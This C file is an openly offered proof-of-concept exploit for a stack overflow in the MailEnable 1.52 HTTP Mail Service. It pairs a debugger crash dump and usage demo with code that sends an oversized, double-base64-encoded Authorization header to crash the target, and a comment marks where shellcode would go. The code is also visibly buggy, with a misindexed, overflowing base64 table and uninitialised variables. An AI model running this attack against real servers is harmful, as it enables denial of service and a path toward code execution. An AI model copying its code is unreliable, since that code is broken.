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/*
*MailEnable 1.52 HTTP Mail Service Stack Overflow POC Exploit(encoded comand)
*Debugging Info
*szAppName : MEHTTPS.EXE szAppVer : 1.0.0.1 szModName : MEHTTPS.EXE
*szModVer : 1.0.0.1 offset : 00010c21
*Files that caused error :
*C:\DOCUME~1\Stefan\LOCALS~1\Temp\WER567c.dir00\MEHTTPS.EXE.mdmp
*C:\DOCUME~1\Stefan\LOCALS~1\Temp\WER567c.dir00\appcompat.txt
*
*The problem appears when a specialy encoded 64base string is sent to the HTTP Mail Server
*ASM instructions
*00410C21 8917 MOV DWORD PTR DS:[EDI],EDX
*00410C23 83C7 04 ADD EDI,4
*00410C26 BA FFFEFE7E MOV EDX,7EFEFEFF
*00410C2B 8B01 MOV EAX,DWORD PTR DS:[ECX]
*00410C2D 03D0 ADD EDX,EAX
*00410C2F 83F0 FF XOR EAX,FFFFFFFF
*00410C32 33C2 XOR EAX,EDX
*00410C34 8B11 MOV EDX,DWORD PTR DS:[ECX]
*00410C36 83C1 04 ADD ECX,4
*EDX=48545541
*DS:[54516FF1]=???
*
*CPU registers
*EAX 70F8FEFE
*ECX 004212B8 mehttps.004212B8
*EDX 48545541
*EBX 003B2660
*ESP 00BB2900
*EBP 00BB2E20 ASCII "UATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUAT
*ESI 003B2660
*EDI 54516FF1
*EIP 00410C21 mehttps.00410C21
*Stack
*00BB2D1C 69736142
*00BB2D20 45542063
*00BB2D24 55504551
*00BB2D28 54515441
*00BB2D2C 44555045
*00BB2D30 45544155
*00BB2D34 55504551
*00BB2D38 54515441
*00BB2D3C 44555045
*00BB2D40 45544155
*00BB2D44 55504551
*00BB2D48 54515441
*00BB2D4C 44555045
*00BB2D50 45544155
*00BB2D54 55504551
*00BB2D58 54515441
*00BB2D5C 44555045
*00BB2D60 45544155
*00BB2D64 55504551
*00BB2D68 54515441
*00BB2D6C 44555045
*00BB2D70 45544155
*00BB2D74 55504551
*00BB2D78 54515441
*00BB2D7C 44555045
*00BB2D80 45544155
*00BB2D84 55504551
*00BB2D88 54515441
*00BB2D8C 44555045
*00BB2D90 45544155
*00BB2D94 55504551
*00BB2D98 54515441
*00BB2D9C 44555045
*00BB2DA0 45544155
*00BB2DA4 55504551
*00BB2DA8 54515441
*00BB2DAC 44555045
*00BB2DB0 45544155
*00BB2DB4 55504551
*00BB2DB8 54515441
*00BB2DBC 44555045
*00BB2DC0 45544155
*00BB2DC4 55504551
*00BB2DC8 54515441
*00BB2DCC 44555045
*00BB2DD0 45544155
*00BB2DD4 55504551
*00BB2DD8 54515441
*00BB2DDC 44555045
*00BB2DE0 45544155
*00BB2DE4 55504551
*00BB2DE8 54515441
*00BB2DEC 44555045
*00BB2DF0 45544155
*00BB2DF4 55504551
*00BB2DF8 54515441
*00BB2DFC 44555045
*00BB2E00 45544155
*00BB2E04 55504551
*00BB2E08 54515441
*00BB2E0C 44555045
*00BB2E10 45544155
*00BB2E14 55504551
*00BB2E18 54515441
*00BB2E1C 44555045
*00BB2E20 45544155
*00BB2E24 55504551
*00BB2E28 54515441
*00BB2E2C 44555045
*00BB2E30 45544155
*00BB2E34 55504551
*00BB2E38 54515441
*00BB2E3C 44555045
*00BB2E40 45544155
*00BB2E44 55504551
*00BB2E48 54515441
*00BB2E4C 44555045
*00BB2E50 45544155
*00BB2E54 55504551
*00BB2E58 54515441
*00BB2E5C 44555045
*00BB2E60 45544155
*00BB2E64 55504551
*00BB2E68 54515441
*00BB2E6C 44555045
*00BB2E70 45544155
*00BB2E74 55504551
*00BB2E78 54515441
*00BB2E7C 44555045
*00BB2E80 45544155
*00BB2E84 55504551
*00BB2E88 54515441
*00BB2E8C 44555045
*00BB2E90 45544155
*00BB2E94 55504551
*
*This is the user controled area ,this is where we have to put the shellcode.
*Access violation when writing to 0x54516FF1 ->EDI holds this address.
*WARNING it is compiled with cygwin console ,if you run it somewere else
*be sure to get the cygwin1.dll in the same folder as the executable.
*It will surely work with DEV-cpp
*
*DEMO
*
*C:\Documents and Settings\Stefan\Desktop\Mail Enable-http crash>nn.exe
*******************************************************************************
MailEnable 1.52 HTTP Mail Service Stack Overflow POC Exploit(encoded comand)
Credits:fl0 fl0w
-h host HTTP server
-p port HTTP server
*******************************************************************************
------------------------------------------
You can use the following IP addresses
Host name is .
Address 0:192.168.1.2
------------------------------------------
Host name is .
Address 1:79.119.96.127
------------------------------------------
Host name is .
Address 2:192.168.152.1
------------------------------------------
Host name is .
Address 3:192.168.172.1
------------------------------------------
Usage: nn option host option port
C:\Documents and Settings\Stefan\Desktop\Mail Enable-http crash>nn.exe -h 127.0.0.1 -p 8080
this program is in the directory /cygdrive/c/Documents and Settings/Stefan/Deskt
op/Mail Enable-http crash/
- target 127.0.0.1 : 8080
- Done
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#ifdef WIN32
#include <winsock.h>
#define close closesocket
#define sleep Sleep
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define BUFFSZ 0x2000
#define BOF1SZ 0x12C
#define BOF2SZ 0x1388
#define DEFAULT_PORT 8080
#define DEFAULT_HOST "127.0.0.1"
/*
*Function Protptypes
*
*
*/
void Menuu(int argc, char **argv)
{ fprintf(stderr,
"\n"
"\t-h host HTTP server\n"
"\t-p port HTTP server\n"
"\n"
,
argv[0],
DEFAULT_PORT,
DEFAULT_HOST);
}
int doit(int, char **);
uint32_t fletcher32(uint8_t data[BUFFSZ], int16_t len);
uint8_t *base64_encode(uint8_t *data, int *size);
int putcc(uint8_t *data, int chr, int len);
int timeout(int sock, int secs);
uint32_t resolv(char *host);
/*
*End Prototypes
*/
/*
* This function gets the PATH of your executable
* START PATH
*/
size_t get_executable_path (char* buffer, size_t len)
{
char* path_end;
if (readlink ("/proc/self/exe", buffer, len) <= 0)
return -1;
path_end = strrchr (buffer, '/');
if (path_end == NULL)
return -1;
++path_end;
*path_end = '\0';
return (size_t) (path_end - buffer);
}
/*
*END PATH
*/
void args(int argc, char *argv[])
{
int ip;
short port;
int a;
if(a)
while((a = getopt(argc, argv, "h:p")) != EOF) {
switch(a) {
case 'h':
ip = (int)optarg;
break;
case 'p':
port = (int)optarg;
break;
default:
exit(-1);
}
}
}
int main(int argc, char *argv[]) {
char path[1000];
struct sockaddr_in peer;
int sd,
len,
attack;
uint16_t port;
uint8_t buff[BUFFSZ],
*b64;
int a;
printf("*******************************************************************************\n");
printf("MailEnable 1.52 HTTP Mail Service Stack Overflow POC Exploit(encoded comand)\n");
printf("\tCredits:fl0 fl0w\n");
Menuu(argc, argv);
printf("*******************************************************************************\n");
a = doit(argc, argv);
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s option host option port\n"
"\n", argv[0]);
exit(1);
}
args(argc, argv);
if(argc > 3) port = atoi(argv[4]);
get_executable_path (path, sizeof (path));
printf ("this program is in the directory %s\n", path);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) exit(0);
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))< 0) exit(0);
len = BOF1SZ;
putcc(buff, 'A', len);
b64 = base64_encode(buff, &len);
b64 = base64_encode(b64, &len);
len = sprintf(buff,"GET / HTTP/1.0\r\n""Authorization: Basic %s\r\n""\r\n", b64);
fletcher32(buff,len);
send(sd, buff, len, 0);
if(!timeout(sd, 5)) recv(sd, buff, BUFFSZ, 0);
close(sd);
printf("- done\n");
return(0);
}
/*As you can see the string is real odd looking that is because EBP points to
*a function that filters UPercase caracters :) , so you can see in the stack and at
*the Registers section.
*That may be the fuction that causes the buffer overdflow.
*Function mehttps() it is at(offset) ESP + 4 bytes,in other words get the address of
*ESP and add 4 bytes that is it's possition in the stack.
*The call stack is
*00BB2904 0040BC9A RETURN to mehttps.0040BC9A from mehttps.00410B90
/*
* ENCODE STRINGS
*/
/*
*The algorithm for encoding in 64base was
*inspired from a code of Aluigi Arena so thnx man !
*/
uint8_t *base64_encode(uint8_t *data, int *size) {
int len,
a,
b,
c;
uint8_t *buff,
*p;
uint8_t base[64];
base[1] = 0x41; base[7] = 0x47; base[13] = 0x4D; base[19] = 0x53; base[25] = 0x59;
base[2] = 0x42; base[8] = 0x48; base[14] = 0x4E; base[20] = 0x54; base[26] = 0x5A;
base[3] = 0x43; base[9] = 0x49; base[15] = 0x4F; base[21] = 0x55;
base[4] = 0x44; base[10] = 0x4A; base[16] = 0x50; base[22] = 0x56;
base[5] = 0x45; base[11] = 0x4B; base[17] = 0x51; base[23] = 0x57;
base[6] = 0x46; base[12] = 0x4C; base[18] = 0x52; base[24] = 0x58; //A->Z
base[27] = 0x61; base[28] = 0x62; base[29] = 0x63; base[30] = 0x64; base[31] = 0x65;
base[32] = 0x66; base[33] = 0x67; base[34] = 0x68; base[35] = 0x69; base[36] = 0x6A;
base[37] = 0x6B; base[38] = 0x6C; base[39] = 0x6D; base[40] = 0x6F;
base[41] = 0x70; base[42] = 0x71; base[43] = 0x72; base[44] = 0x73;
base[45] = 0x74; base[46] = 0x75; base[47] = 0x76; base[48] = 0x77;
base[49] = 0x78; base[50] = 0x79; base[51] = 0x7A; base[52] = 0x30;
base[53] = 0x31; base[54] = 0x32; base[55] = 0x33; base[56] = 0x34; //a->z
base[57] = 0x35; base[58] = 0x36; base[59] = 0x37; base[60] = 0x38;
base[61] = 0x39; base[62] = 0x2B; base[63] = 0x2C; base[64] = 0x2F;
if(!size || (*size < 0)) {
len = strlen(data);
} else {
len = *size;
}
buff = malloc(((len / 3) << 2) + 6);
if(!buff) return(NULL);
p = buff;
do {
a = data[0];
b = data[1];
c = data[2];
*p++ = base[(a >> 2) & 63];
*p++ = base[(((a & 3) << 4) | ((b >> 4) & 15)) & 63];
*p++ = base[(((b & 15) << 2) | ((c >> 6) & 3)) & 63];
*p++ = base[c & 63];
data += 3;
len -= 3;
} while(len > 0);
*p = 0;
for(; len < 0; len++) *(p + len) = '=';
if(size) *size = p - buff;
return(buff);
}
/*
*
*
*EDX is controled
*EBP holds the long string that is encoded in base64.
*Stack starts at address 0x00BB2900 ,at that address there is a DWORD NULLBYTE.
*The stack overflow starts at the address 0x00BB2D1C
*/
int putcc(uint8_t *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout) <= 0) return(-1);
return(0);
}
uint32_t resolv(char *host) {
struct hostent *hp;
uint32_t host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(uint32_t *)hp->h_addr;
}
return(host_ip);
}
uint32_t fletcher32(uint8_t data[BUFFSZ], int16_t len)
{
uint32_t sum1 = 0xffff, sum2 = 0xffff;
while (len) {
unsigned tlen = len > 360 ? 360 : len;
len -= tlen;
do {
sum1 += *data++;
sum2 += sum1;
} while (--tlen);
sum1 = (sum1 & 0xffff) + (sum1 >> 16);
sum2 = (sum2 & 0xffff) + (sum2 >> 16);
}
sum1 = (sum1 & 0xffff) + (sum1 >> 16);
sum2 = (sum2 & 0xffff) + (sum2 >> 16);
return sum2 << 16 | sum1;
}
int doit(int a, char **b)
{
char ac[80];
int i;
#ifdef WIN32
if (gethostname(ac, sizeof(ac)) == SOCKET_ERROR) {
printf("Error " ,WSAGetLastError());
return 1;
}
#endif
struct hostent *phe = gethostbyname(ac);
if (phe == 0) {
printf("Bad host lookup.\n");
return 1;
}
printf("------------------------------------------\n");
printf("You can use the following IP addresses\n");
for (i = 0; phe->h_addr_list[i] != 0; ++i) {
struct in_addr addr;
memcpy(&addr, phe->h_addr_list[i], sizeof(struct in_addr));
printf("\n");
printf("Host name is %s.\n" ,ac);
printf("Address %d:%s\n" ,i ,inet_ntoa(addr));
printf("------------------------------------------\n");
}
return 0;
}
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